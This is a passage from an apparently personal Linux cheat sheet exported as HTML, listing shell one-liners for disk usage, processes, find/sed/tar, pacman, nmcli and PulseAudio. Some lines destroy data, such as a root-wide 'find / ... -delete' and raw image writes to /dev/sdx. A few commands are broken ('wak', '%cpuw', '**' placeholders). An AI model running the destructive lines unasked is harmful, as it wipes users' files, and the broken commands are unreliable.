0px; width: 27px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp;  eval <span class="cm-string">"</span><span class="cm-quote">$(udevadm info -q property --export -p </span><span class="cm-def">$syspath</span><span class="cm-quote">)</span><span class="cm-string">"</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">8</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp;  [[ <span class="cm-attribute">-z</span> <span class="cm-string">"</span><span class="cm-def">$ID_SERIAL</span><span class="cm-string">"</span> ]] &amp;&amp; <span class="cm-keyword">exit</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">9</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">echo</span> <span class="cm-string">"/dev/</span><span class="cm-def">$devname</span><span class="cm-string"> - </span><span class="cm-def">$ID_SERIAL</span><span class="cm-string">"</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">10</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;  )</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">11</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">done</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 253px;"></div><div class="CodeMirror-gutters" style="height: 253px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 35px;"></div></div></div></div></pre><ul><li><span>Summarize the size of current directory on disk in a human-readable format: </span><code>du -sh</code></li><li><span>See free disk space in a human readable format: </span><code>df -h</code></li><li><span>Currently mounted filesystems in nice layout: </span><code>mount | column -t</code></li><li><span>Get the top 10 largest files ordered by size descending, starting from the current folder, recursively: </span><code>find . -printf &#39;%s %p\n&#39;| sort -nr | head -10</code></li><li><span>Find 10 largest folders: </span><code>du -hsx * | sort -rh | head -10</code></li><li><span>List of commands you use most often: </span><code>history | awk &#39;{a[$2]++}END{for(i in a){print a[i] &quot; &quot; i}}&#39; | sort -rn | head</code></li><li><span>List of commands you use most often: </span><code>history | awk &#39;{print $2}&#39; | sort | uniq -c | sort -rn | head</code></li><li><span>Query my external IP address: </span><code>curl -4 https://icanhazip.com</code></li><li><span>su List processes that are actively using a port: </span><code>netstat -tulpn | grep LISTEN</code></li><li><span>List currently running processes: </span><code>ps auxww</code></li><li><span>List all process of current user (full info): </span><code>ps --user NAME -F</code></li><li><span>Show most memory intensive process: </span><code>ps axch -o cmd:15,%mem --sort=-%mem</code></li><li><span>Show most CPU intensive process: </span><code>ps axch -o cmd:15,%cpu --sort=-%cpuw</code></li><li><span>Show systemctl failed units: </span><code>systemctl --failed</code></li><li><span>Show the status of a unit: </span><code>systemctl status NAMEOFUNIT</code></li><li><span>Show all installed services: </span><code>systemctl list-unit-files --state=enabled --no-pager</code></li><li><span>su Flash an image onto a USB drive using cat: </span><code>cat path/to/archlinux-version-x86_64.iso &gt; /dev/sdx</code></li><li><span>su Flash an image onto a USB drive using **: </span><code>** path/to/archlinux-version-x86_64.iso /dev/sdx</code></li><li><span>su Flash an image onto a USB drive using dd: </span><code>dd bs=4M if=path/to/archlinux-version-x86_64.iso of=/dev/sdx status=progress oflag=sync</code></li><li><span>su Flash an image onto a USB drive using tee: </span><code>tee &lt; path/to/archlinux-version-x86_64.iso &gt; /dev/sdx</code></li><li><span>su Mount an ISO: </span><code>mount -o loop /path/to/image.iso /media/mountpoint</code></li><li><span>su Rip an ISO: run </span><code>isosize -x /dev/sr0</code><span> to determine sector count and size, then run </span><code>dd if=/dev/sr0 of=discimage.iso bs=SECTOR_SIZE count=SECTOR_COUNT status=progress</code></li><li><span>List input devices: </span><code>xinput list</code><span> (e.g. to see Touchpad input on a laptop)</span></li><li><span>Disable touchpad (and possibly add to </span><code>.xprofile</code><span>): </span><code>xinput disable &#39;SynPS/2 Synaptics TouchPad&#39;</code></li><li><span>List all running processes: </span><code>ps aux</code></li><li><span>List all running processes including the full command string: </span><code>ps auxww</code></li><li><span>Search for a process that matches a string: </span><code>ps aux | grep string</code></li><li><span>List all processes of the current user in extra full format: </span><code>ps --user $(id -u) -F</code></li><li><span>List all processes of the current user as a tree: </span><code>ps --user $(id -u) f</code></li><li><span>Get the parent PID of a process: </span><code>ps -o ppid= -p pid</code></li><li><span>Sort processes by memory consumption: </span><code>ps --sort size</code></li><li><span>List all of the signals kill can send: </span><code>kill -l</code></li><li><span>Hang up process: </span><code>kill -1 process_id</code></li><li><span>Send interrupt to process: </span><code>kill -2 process_id</code></li><li><span>Immediately terminate a process: </span><code>kill -9 process_id</code></li><li><span>Hang up all processes that match a name: </span><code>pkill -9 &quot;process_name&quot;</code></li></ul><h1 id='fundamental-commands'><span>Fundamental Commands</span></h1><ul><li><span>Invert matching lines with </span><code>-v</code><span>: </span><code>grep -v &quot;roses&quot; poem.txt</code></li><li><span>TODO look ahead/behind with </span><code>-A</code><span>, </span><code>-B</code><span>, </span><code>-C</code><span> switches</span></li><li><span>TODO only keep what grep found with </span><code>-o</code></li><li><span>Find (grep) files with oldpattern and replace with newpattern: </span><code>grep /path/to/search -rl -e &quot;oldpattern&quot; | xargs sed -i &quot;s/oldpattern/newpattern/g&quot;</code></li><li><span>Find (grep) strings in files, in current directory, recursively (-r), printing line numbers (-n): </span><code>grep &quot;STRING&quot; -rnw .</code></li><li><span>Find all files in current directory exclude </span><code>.wine</code><span> and </span><code>.git</code><span> directories: </span><code>find . -type f \! \( -path &#39;*/\.wine/*&#39; -o -path &#39;*/\.git/*&#39; \)</code></li><li><span>Find recently accessed files: </span><code>find . -type f -print0 | xargs -0 stat --format &#39;%Y :%y %n&#39; | sort -nr | cut -d: -f2- | head</code></li><li><span>Example. Find files and pipe into xargs (filenames with spaces): </span><code>find . -type f -print0 | xargs -0 sxiv -t</code></li><li><span>Listing today&#39;s files only: </span><code>find directory_path -maxdepth 1 -daystart -mtime -1</code></li><li><span>Find ASCII files and extract IP addresses: </span><code>find . -type f -exec grep -Iq . {} \; -exec grep -oE &quot;(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&quot; {} /dev/null \;</code></li><li><span>Find out which directory uses most inodes - list total sum of directoryname existing on filesystem: </span><code>find /etc -xdev -printf &#39;%h\n&#39; | sort | uniq -c | sort -k 1 -n</code></li><li><span>Find all executable files across the entire tree: </span><code>find  -executable -type f</code></li><li><span>Replace recursive in folder with sed: </span><code>find &lt;folder&gt; -type f -exec sed -i &#39;s/my big String/newString/g&#39; {} +</code></li><li><span>Show contents of all git objects in a git repo: </span><code>find .git/objects/ -type f \| sed &#39;s/\.git\/objects\/\///&#39; | sed &#39;s/\///g&#39; | xargs -n1 -I% echo echo &quot;%&quot; \$\(git cat-file -p &quot;%&quot;\) \0 | xargs -n1 -0 sh -c</code></li><li><span>Find dupe files by checking md5sum: </span><code>find /glftpd/site/archive -type f|grep &#39;([0-9]\{1,9\})\.[^.]\+$&#39;|parallel -n1 -j200%  md5sum ::: |awk &#39;x[$1]++ { print $2 &quot; :::&quot;}&#39;|sed &#39;s/^/Dupe: /g&#39;|sed &#39;s,Dupe,\x1B[31m&amp;\x1B[0m,&#39;</code></li><li><span>Find and remove old backup files: </span><code>find /home/ -name bk_all_dbProdSlave_\* -mtime +2 -exec rm -f {} \;</code></li><li><span>Find and remove old compressed backup files: </span><code>find /home -type f \( -name &quot;*.sql.gz&quot; -o -name &quot;*.tar.gz&quot; -mtime +10 \) -exec rm -rf {} \;</code></li><li><span>Shows space used by each directory of the root filesystem excluding mountpoints/external filesystems (and sort the output): </span><code>find / -maxdepth 1 -mindepth 1 -type d \! -empty \! -exec mountpoint -q {} \; -exec du -xsh {} + | sort -h</code></li><li><span>Shows space used by each directory of the root filesystem excluding mountpoints/external filesystems (and sort the output): </span><code>find / -maxdepth 1 -mindepth 1 -type d -exec du -skx {} \; | sort -n</code></li><li><span>Create an uncompressed tar file of each child directory of the current working directory: </span><code>find . -maxdepth 1 -mindepth 1 -type d -exec tar cvf {}.tar {}  \;</code></li><li><span>Tar and bz2 a set of folders as individual files: </span><code>find . -maxdepth 1 -type d -name &#39;*screenflow&#39; -exec tar jcvf {}.tar.bz2 {} \;</code></li><li><span>Shows space used by each directory of the root filesystem excluding mountpoints/external filesystems (and sort the output): </span><code>find / -maxdepth 1 -type d | xargs -I {} sh -c &quot;mountpoint -q {} || du -sk {}&quot; | sort -n</code></li><li><span>Zgrep across multiple files: </span><code>find . -name &quot;file-pattern*.gz&quot; -exec zgrep -H &#39;pattern&#39; {} \;</code></li><li><span>Code to check if a module is used in python code: </span><code>find .  -name &quot;*.ipynb&quot; -exec grep -l &quot;symspellpy&quot; {} \;</code></li><li><span>Delete all files by extension: </span><code>find / -name &quot;*.jpg&quot; -delete</code></li><li><span>Check if the same table name exist across different databases: </span><code>find . -name &quot;withdrownblocks.frm&quot;  | sort -u | awk -F&#39;/&#39; &#39;{print $3}&#39; | wc  -l</code></li><li><span>Count the total amount of hours of your music collection: </span><code>find . -print0 | xargs -0 -P 40 -n 1 sh -c &#39;ffmpeg -i &quot;$1&quot; 2&gt;&amp;1 | grep &quot;Duration:&quot; | cut -d &quot; &quot; -f 4 | sed &quot;s/.$//&quot; | tr &quot;.&quot; &quot;:&quot;&#39; - | awk -F &#39;:&#39; &#39;{ sum1+=$1; sum2+=$2; sum3+=$3; sum4+=$4 } END { printf &quot;%.0f:%.0f:%.0f.%.0f\n&quot;, sum1, sum2, sum3, sum4 }&#39;</code></li><li><span>Graphical tree of sub-directories with files: </span><code>find . -print | sed -e &#39;s;[^/]*/;|-- ;g;s;-- |;   |;g&#39;</code></li><li><span>Moving large number of files: </span><code>find /source/directory -mindepth 1 -maxdepth 1 -name &#39;*&#39;  -print0 | xargs -0 mv -t /target/directory;</code></li><li><span>List only empty directories and delete safely (=ask for each): </span><code>find . -type d -empty -exec rm -i -R {} \;</code></li><li><span>Find ASCII files and extract IP addresses: </span><code>find . -type f -exec grep -Iq . {} \; -exec grep -oE &quot;(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&quot; {} /dev/null \;</code></li><li><span>Remove scripts tags from *.html and *.htm files under the current directory: </span><code>find ./ -type f \( -iname &#39;*.html&#39; -or -iname &#39;*.htm&#39; \) -exec sed -i &#39;/&lt;script/,/&lt;\/script&gt;/d&#39; &#39;{}&#39; \;</code></li><li><span>Recursive search and replace (with bash only): </span><code>find ./ -type f -name &quot;somefile.txt&quot; -exec sed -i -e &#39;s/foo/bar/g&#39; {} \;</code></li><li><span>Find non-standard files in mysql data directory: </span><code>find . -type f -not -name &quot;*.frm&quot; -not -name &quot;*.MYI&quot; -not -name &quot;*.MYD&quot; -not -name &quot;*.TRG&quot; -not -name &quot;*.TRN&quot; -not -name &quot;db.opt&quot;</code></li><li><span>Find all file extension in current dir.: </span><code>find . -type f | perl -ne &#39;print $1 if m/\.([^.\/]+)$/&#39; | sort -u</code></li><li><span>Find hard linked files (duplicate inodes) recursively: </span><code>find . -type f -printf &#39;%10i %p\n&#39; | sort | uniq -w 11 -d -D | less</code></li><li><span>Find sparse files: </span><code>find -type f -printf &quot;%S=:=%p\n&quot; 2&gt;/dev/null | gawk -F&#39;=:=&#39; &#39;{if ($1 &lt; 1.0) print $1,$2}&#39;</code></li><li><span>Find non-ASCII and UTF-8 files in the current directory: </span><code>find . -type f -regex &#39;.*\.\(***\|h\)&#39; -exec file {} + | grep &quot;UTF-8\|extended-ASCII&quot;</code></li><li><span>Replace lines in files with only spaces/tabs with simple empty line (within current directory - recursive): </span><code>find . -type f -regex &#39;.*\.\(***\|h\)&#39; -exec sed -i &#39;s/^[[:blank:]]\+$//g&#39; {} +</code></li><li><span>Find the top 10 directories containing the highest number of files: </span><code>find / -type f ! -regex &#39;^/\(dev\|proc\|run\|sys\).*&#39; | sed &#39;s@^\(.*\)/[^/]*$@\1@&#39; | sort | uniq -c | sort -n | tail -n 10</code></li><li><span>Find all files that have 20 or more MB on every filesystem, change the size and filesystem to your liking: </span><code>find / -type f -size +20000k -exec ls -lh {} \; 2&gt; /dev/null | awk &#39;{ print $NF &quot;: &quot; $5 }&#39; | sort -nrk 2,2</code></li><li><span>Find directory with most inodes/files: </span><code>find / -xdev -printf &#39;%h\n&#39; | sort | uniq -c | sort -k 1 -n | tail</code></li><li><span>Create an archive from files: </span><code>tar cf target.tar file1 file2 file3</code></li><li><span>Create a gzipped archive from files: </span><code>tar czf target.tar.gz file1 file2 file3</code></li><li><span>Create a gzipped archive from a directory using relative path: </span><code>tar czf target.tar.gz --directory=path/to/directory .</code></li><li><span>Extract a (compressed) archive file into the current directory: </span><code>tar xf [source.tar.gz|.bz2|.xz]</code></li><li><span>Extract a (compressed) archive file into the target directory: </span><code>tar xf [source.tar.gz|.bz2|.xz] --directory=directory</code></li><li><span>Create a compressed archive from files, using archive suffix to determine the compression program: </span><code>tar caf target.tar.xz file1 file2 file3</code></li><li><span>List the contents of a tar file verbosely: </span><code>tar tvf source.tar</code></li><li><span>Extract files matching a pattern: </span><code>tar xf source.tar --wildcards &quot;*.html&quot;</code></li><li><span>Replace the first occurrence of a regular expression in each line of a file, and print the result: </span><code>sed &#39;s/regex/replace/&#39; filename</code></li><li><span>Replace all occurrences of an extended regular expression in a file, and print the result: </span><code>sed -r &#39;s/regex/replace/g&#39; filename</code></li><li><span>Replace all occurrences of a string in a file, overwriting the file (i.e. in-place): </span><code>sed -i &#39;s/find/replace/g&#39; filename</code></li><li><span>Replace only on lines matching the line pattern: </span><code>sed &#39;/line_pattern/s/find/replace/&#39; filename</code></li><li><span>Delete lines matching the line pattern: </span><code>sed &#39;/line_pattern/d&#39; filename</code></li><li><span>Print the first 11 lines of a file: </span><code>sed 11q filename</code></li><li><span>Apply multiple find-replace expressions to a file: </span><code>sed -e &#39;s/find/replace/&#39; -e &#39;s/find/replace/&#39; filename</code></li><li><span>Replace separator </span><code>/</code><span> by any other character not used in the find or replace patterns, e.g., </span><code>#</code><span>: </span><code>sed &#39;s#find#replace#&#39; filename</code></li><li><span>Replace strings in text: </span><code>sed -e &#39;s/dapper/edgy/g&#39; -i /etc/apt/sources.list</code></li><li><span>This will allow you to browse web sites using &quot;-dump&quot; with elinks while you still are logged in: </span><code>sed -i &#39;s/show_formhist = 1/show_formhist = 0/;s/confirm_submit = 0/confirm_submit = 1/g&#39; /etc/elinks/elinks.conf; elinks -dump https://facebook.com</code></li><li><span>Get line number 12 (or n) from a file: </span><code>sed -n &#39;12p;13q&#39; file</code></li><li><span>Get a range on line with sed (first two): </span><code>sed -n &#39;1,2p;3q&#39; file</code></li><li><span>Remove abstracts from a bibtex file: </span><code>sed &#39;/^\s*abstract\s*=\s*{[^\n]*},$/ d&#39; input.bib &gt; output.bib</code></li><li><span>Delete at start of each line until character: </span><code>sed &#39;s/^[^:]*://g&#39;</code></li><li><span>Remove all matches containing a string until its next space: </span><code>sed &#39;s/linux-[^ ]* \{0,1\}//g&#39; /path/to/file</code></li><li><span>Remove ^M characters from file using sed: </span><code>sed &#39;s/\r//g&#39; &lt; input.txt &gt;  output.txt</code></li><li><span>Comparison between the execution output of the last and penultimate command: </span><code>diff &lt;(!!) &lt;(!-2)</code></li><li><span>Show the difference: </span><code>diff file1 file2 --side-by-side --suppress-common-lines</code></li><li><span>Compare mysql db schema from two different servers: </span><code>diff &lt;(mysqldump -hsystem db_name --no-data --routines) &lt;(mysqldump -hsystem2 db_name --no-data --routines) --side-by-side --suppress-common-lines --width=690 | more</code></li><li><span>Check difference between two file directories recursively: </span><code>diff &lt;(tree /dir/one) &lt;(tree /dir/two)</code></li><li><span>Close shell keeping all subprocess running: </span><code>disown -a &amp;&amp; exit</code></li></ul><h1 id='pacman'><span>Pacman</span></h1><ul><li><span>Install a package from the main Arch repo: </span><code>pacman -S &lt;package name&gt;</code></li><li><span>Update and upgrade programs: </span><code>pacman -Syu</code></li><li><span>Search for programs by string in the main Arch repo: </span><code>pacman -Ss &lt;string&gt;</code></li><li><span>Search installed programs by string: </span><code>pacman -Qs &lt;string&gt;</code></li><li><span>Remove a program, its configs and dependencies: </span><code>pacman -Rns &lt;package name&gt;</code></li><li><span>Search for packages with file: </span><code>pacman -Fy filename</code></li><li><span>List all programs installed: </span><code>pacman -Q</code></li><li><span>Programs installed by you: </span><code>pacman -Qe</code></li><li><span>List all programs installed from the main repo: </span><code>pacman -Qn</code></li><li><span>List all programs installed from the AUR: </span><code>pacman -Qm</code></li><li><span>List all programs that are orphaned dependencies: </span><code>pacman -Qdt</code></li><li><span>Clean up cached packages: </span><code>pacman -Sc</code></li><li><span>Search and remove found packages: </span><code>pacman -Rns $(pacman -Qsq SEARCHSTRING)</code></li><li><span>List packages and their sizes: </span><code>LC_ALL=C pacman -Qi | wak &#39;/^Name/{name=$3} /^Installed Size/{print $4$5, name}&#39; | sort -h</code></li></ul><h1 id='network-manager'><span>Network Manager</span></h1><p><a href='https://networkmanager.dev/docs/' target='_blank' class='url'>https://networkmanager.dev/docs/</a></p><p><span>man 1 nmcli</span>
<span>man 5 nmcli-examples</span>
<span>man 1 nmtui</span>
<span>man 1 nm-online</span>
<span>man 8 nm-cloud-setup</span>
<span>man 8 nm-initrd-generator</span>
<span>man 7 nm-openvswitch</span></p><ul><li><span>Tells you whether NetworkManager is running or not: </span><code>nmcli -t -f RUNNING general</code></li><li><span>Shows the overall status of NetworkManager: </span><code>nmcli -t -f STATE general</code></li><li><span>Switches Wi-Fi off: </span><code>nmcli radio wifi off</code></li><li><span>Lists all connections NetworkManager has: </span><code>nmcli connection show</code></li><li><span>Shows all configured connections in multi-line mode: </span><code>nmcli -p -m multiline -f all con show</code></li><li><span>Lists all currently active connections: </span><code>nmcli connection show --active</code></li><li><span>Shows all connection profile names and their auto-connect property: </span><code>nmcli -f name,autoconnect c s</code></li><li><span>Shows details for &quot;My default em1&quot; connection profile: </span><code>nmcli -p connection show &quot;My default em1&quot;</code></li><li><span>Shows details for &quot;My Home Wi-Fi&quot; connection profile with all passwords. Without --show-secrets option, secrets would not be displayed: </span><code>nmcli --show-secrets connection show &quot;My Home Wi-Fi&quot;</code></li><li><span>Shows details for &quot;My default em1&quot; active connection, like IP, DHCP information, etc: </span><code>nmcli -f active connection show &quot;My default em1&quot;</code></li><li><span>Shows static configuration details of the connection profile with &quot;My wired connection&quot; name: </span><code>nmcli -f profile con s &quot;My wired connection&quot;</code></li><li><span>Activates the connection profile with name &quot;My wired connection&quot; on interface eth0. The -p option makes nmcli show progress of the activation: </span><code>nmcli -p con up &quot;My wired connection&quot; ifname eth0</code></li><li><span>Connects the Wi-Fi connection with UUID 6b028a27-6dc9-4411-9886-e9ad1dd43761 to the AP with BSSID 00:3A:98:7C:42:D3: </span><code>nmcli con up 6b028a27-6dc9-4411-9886-e9ad1dd43761 ap 00:3A:98:7C:42:D3</code></li><li><span>Shows the status for all devices: </span><code>nmcli device status</code></li><li><span>Disconnects a connection on interface em2 and marks the device as unavailable for auto-connecting. As a result, no connection will automatically be activated on the device until the device&#39;s &#39;autoconnect&#39; is set to TRUE or the user manually activates a connection: </span><code>nmcli dev disconnect em2</code></li><li><span>Shows details for wlan0 interface; only GENERAL and WIFI-PROPERTIES sections will be shown: </span><code>nmcli -f GENERAL,WIFI-PROPERTIES dev show wlan0</code></li><li><span>Shows all available connection profiles for your Wi-Fi interface wlp3s0: </span><code>nmcli -f CONNECTIONS device show wlp3s0</code></li><li><span>Lists available Wi-Fi access points known to NetworkManager: </span><code>nmcli dev wifi</code></li><li><span>Creates a new connection named &quot;My cafe&quot; and then connects it to &quot;Cafe Hotspot 1&quot; SSID using password &quot;caffeine&quot;. This is mainly useful when connecting to &quot;Cafe Hotspot 1&quot; for the first time. Next time, it is better to use nmcli con up id &quot;My cafe&quot; so that the existing connection profile can be used and no additional is created: </span><code>nmcli dev wifi con &quot;Cafe Hotspot 1&quot; password caffeine name &quot;My cafe&quot;</code></li><li><span>Creates a hotspot profile and connects it. Prints the hotspot password the user should use to connect to the hotspot from other devices: </span><code>nmcli -s dev wifi hotspot con-name QuickHotspot</code></li><li><span>Starts IPv4 connection sharing using em1 device. The sharing will be active until the device is disconnected: </span><code>nmcli dev modify em1 ipv4.method shared</code></li><li><span>Temporarily adds an IP address to a device. The address will be removed when the same connection is activated again: </span><code>nmcli dev modify em1 ipv6.address 2001:db8::a:bad:c0de</code></li><li><span>Non-interactively adds an Ethernet connection tied to eth0 interface with automatic IP configuration (DHCP), and disables the connection&#39;s autoconnect flag: </span><code>nmcli connection add type ethernet autoconnect no ifname eth0</code></li><li><span>Non-interactively adds a VLAN connection with ID 55. The connection will use eth0 and the VLAN interface will be named Maxipes-fik: </span><code>nmcli c a ifname Maxipes-fik type vlan dev eth0 id 55</code></li><li><span>Non-interactively adds a connection that will use eth0 Ethernet interface and only have an IPv6 link-local address configured: </span><code>nmcli c a ifname eth0 type ethernet ipv4.method disabled ipv6.method link-local</code></li><li><span>Edits existing &quot;ethernet-em1-2&quot; connection in the interactive editor: </span><code>nmcli connection edit ethernet-em1-2</code></li><li><span>Adds a new Ethernet connection in the interactive editor: </span><code>nmcli connection edit type ethernet con-name &quot;yet another Ethernet connection&quot;</code></li><li><span>Modifies &#39;autoconnect&#39; property in the &#39;connection&#39; setting of &#39;ethernet-2&#39; connection: </span><code>nmcli con mod ethernet-2 connection.autoconnect no</code></li><li><span>Modifies &#39;mtu&#39; property in the &#39;wifi&#39; setting of &#39;Home Wi-Fi&#39; connection: </span><code>nmcli con mod &quot;Home Wi-Fi&quot; wifi.mtu 1350</code></li><li><span>Sets manual addressing and the addresses in em1-1 profile: </span><code>nmcli con mod em1-1 ipv4.method manual ipv4.addr &quot;192.168.1.23/24 192.168.1.1, 10.10.1.5/8, 10.0.0.11&quot;</code></li><li><span>Appends a Google public DNS server to DNS servers in ABC profile: </span><code>nmcli con modify ABC +ipv4.dns 8.8.8.8</code></li><li><span>Removes the specified IP address from (static) profile ABC: </span><code>nmcli con modify ABC -ipv4.addresses &quot;192.168.100.25/24 192.168.1.1&quot;</code></li><li><span>Imports an OpenVPN configuration to NetworkManager: </span><code>nmcli con import type openvpn file ~/Downloads/frootvpn.ovpn</code></li><li><span>For more Network Manager examples: </span><code>man nmcli-examples</code></li></ul><h1 id='pulseaudio-and-alsa-not-so-much'><span>PulseAudio and ALSA (not so much)</span></h1><p><span>PulseAudio is a general purpose sound server.</span>
<span>It is intended to run as a middleware between your applications and your hardware devices, either using ALSA or OSS.</span>
<span>It also offers easy network streaming across local devices using Avahi if enabled.</span>
<span>PulseAudioclients can send audio to &quot;sinks&quot; and receive audio from &quot;sources&quot;.</span>
<span>So, sinks are outputs (audio goes there), sources are inputs (audio comes from there).</span></p><ul><li><span>Set the volume of sink 1 to 75%: </span><code>pactl set-sink-volume 1 0.75</code></li><li><span>Set the volume to 75% on the default sink: </span><code>pamixer --set-volume 75</code></li><li><span>Toggle mute on the default sink (using the special name </span><code>@DEFAULT_SINK@</code><span>): </span><code>pactl set-sink-mute @DEFAULT_SINK@ toggle</code></li><li><span>Toggle mute on a sink other than the default: </span><code>pamixer --toggle-mute --sink ID</code></li><li><span>Increase the volume on default sink by 5%: </span><code>pamixer --increase 5</code></li><li><span>Decrease the volume on a source by 5%: </span><code>pamixer --decrease 5 --source ID</code></li><li><span>Move sink-input 627 to sink 1: </span><code>pactl move-sink-input 627 1</code></li><li><span>Use the allow boost option to increase, decrease, or set the volume above 100%: </span><code>pamixer --set-volume 105 --allow-boost</code></li><li><span>Mute the default sink (use </span><code>--unmute</code><span> instead to unmute): </span><code>pamixer --mute</code></li><li><span>Change the default sink (output) to 1: </span><code>pactl set-default-sink 1</code></li><li><span>List all sinks and sources with their corresponding IDs: </span><code>pamixer --list-sinks --list-sources</code></li><li><span>List all sources: </span><code>LANG=C pactl list | grep -A2 &#39;Source #&#39; | grep &#39;Name: &#39; | cut -d&quot; &quot; -f2</code></li><li><span>List all sinks: </span><code>pactl list sinks short</code></li><li><span>Create a sink: </span><code>pacmd load-module module-null-sink sink_name=MySink &amp;&amp; pacmd update-sink-proplist MySink device.description=MySink</code></li></ul><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>3</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">SOURCE</span><span class="cm-operator">=</span><span class="cm-quote">$(pactl list | grep -A2 'Source #' | grep 'Name: ' | cut -d" " -f2 | fzf --prompt="Select source &gt;")</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">SINK</span><span class="cm-operator">=</span><span class="cm-quote">$(pactl list | grep -A2 'Sink #' | grep 'Name: ' | cut -d" " -f2 | fzf --prompt="Select sink &gt;")</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">PULSE_SOURCE</span><span class="cm-operator">=</span><span class="cm-string">"</span><span class="cm-def">$SOURCE</span><span class="cm-string">"</span> <span class="cm-def">PULSE_SINK</span><span class="cm-operator">=</span><span class="cm-string">"</span><span class="cm-def">$SINK</span><span class="cm-string">"</span> ffplay <span class="cm-string">"https://holiday.stream.publicradio.org/holiday_yc.aac"</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 69px;"></div><div class="CodeMirror-gutters" style="height: 69px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h1 id='bluetooth'><span>Bluetooth</span></h1><p><span>So much to do here - probably - skip this unless you know what you&#39;re doing.</span></p><ul><li><p><span>On Arch Linux, install packages </span><code>bluez</code><span>, </span><code>bluez-utils</code><span>, and recommended </span><code>pulseaudio-bluetooth</code></p></li><li><p><span>Enable bluetooth with </span><code>systemctl enable --now bluetooth</code></p></li><li><p><code>bluetoothctl</code></p><ul><li><code>power on</code></li><li><code>agent on</code></li><li><code>default-agent</code></li><li><code>scan on</code></li><li><code>pair &lt;TAB&gt;</code></li><li><code>connect &lt;TAB&gt;</code></li></ul></li></ul><p><span>TIPS:</span></p><ul><li><p><code>org.bluez.Error.Failed</code><span> error</span></p><ul><li><em><span>Make sure your device is ON, accepting BLUETOOTH connections, and/or PAIRING</span></em></li><li><span>Is </span><code>bluetooth.service</code><span> running?</span></li><li><span>Check out logs </span><code>systemctl status bluetooth</code></li><li><span>Restart pulseaudio: </span><code>pulseaudio -k</code><span>, then try connecting again</span></li></ul></li><li><p><span>By default, bluetooth power is not on. Change this: </span><a href='https://wiki.archlinux.org/index.php/bluetooth#Auto_power-on_after_boot' target='_blank' class='url'>https://wiki.archlinux.org/index.php/bluetooth#Auto_power-on_after_boot</a></p></li><li><p><span>To automate 